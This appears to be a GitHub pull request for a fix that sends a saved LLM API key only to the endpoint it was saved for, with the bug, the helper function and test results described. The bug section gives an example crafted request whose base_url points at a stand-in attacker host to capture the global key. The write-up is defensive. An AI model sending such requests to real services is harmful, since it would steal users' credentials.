Repository navigation
fix(llm): send a saved API key only to the endpoint it was saved for - #142
Merged
Merged
Conversation
POST /api/llm/test and POST /api/llm/models take provider and base_url from the form but fell back to the stored profile key (and, for the test, the global key) when the form had none. Any base_url typed into the form, or supplied by a crafted request, received the saved key. The saved key is now used only when the request's provider and base URL normalize to the ones it was saved with (sameLLMEndpoint, built on agent.ConfigFrom). Otherwise the key must be entered in the form, and the error says why.
Merged
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Bug
Two endpoints take
providerandbase_urlfrom the request body, but use a saved key whenapi_keyis empty:POST /api/llm/test(server/server.go,testLLM): the stored profile's key (profile_id), and otherwise the global LLM key (s.llmCfg.APIKey).POST /api/llm/models(server/server_mgmt.go,pgListModels): the stored profile's key.Any
base_urlin the request therefore received the saved key, whether it came from a form edit or a crafted request from anything holding a session (for example XSS or an agent tool that calls the API). Example:{"provider":"anthropic","base_url":"https://attacker.example","api_key":""}sent the global Anthropic key to attacker.example.Fix
New helper
sameLLMEndpoint(provA, baseA, provB, baseB). It normalizes both pairs withagent.ConfigFrom: trimmed, endpoint suffix stripped, and an empty base URL meaning that provider's canonical host. It then compares the format and the base URL. A saved key (profile or global) is sent only when the request's endpoint equals the endpoint it was saved for. Otherwise the request needsapi_key, and the error explains that the saved key is only sent to its own endpoint.The list-view test button keeps working:
testLLMalready fills an emptyprovider/base_urlfrom the stored row before this check. The edit form also keeps working while the base URL is unchanged.Verification
go build ./...andgo vet ./...: OK (go1.26.7).server/llm_key_endpoint_test.go:TestSameLLMEndpoint(table: trailing slash, endpoint suffix, empty vs canonical host, provider mismatch): passes.TestLLMTestGlobalKeyOnlyForGlobalEndpointneeds no database. Against the old handler code it fails (global key went to a form-supplied host: hits=1 ... ok:true). With the fix it passes, and the global key still reaches its own endpoint.TestStoredProfileKeyOnlyForStoredEndpointcovers both handlers with a stored profile. It needs Postgres and was skipped locally (no database here). CI runs it with the Postgres service.go test ./server ./agent ./cmd/artex ./config ./db -count=1locally: agent/cmd/config/db ok. In./server, 34 tests fail, and every one of them is a "no database config found" failure from the lack of Postgres (the same 34 fail on unmodified main). No other test fails.Not verified:
proxyis still taken from the request, so the key can travel through a request-supplied proxy. Over https a CONNECT proxy does not see it; over a plain-http base URL it would. That case is left unchanged here.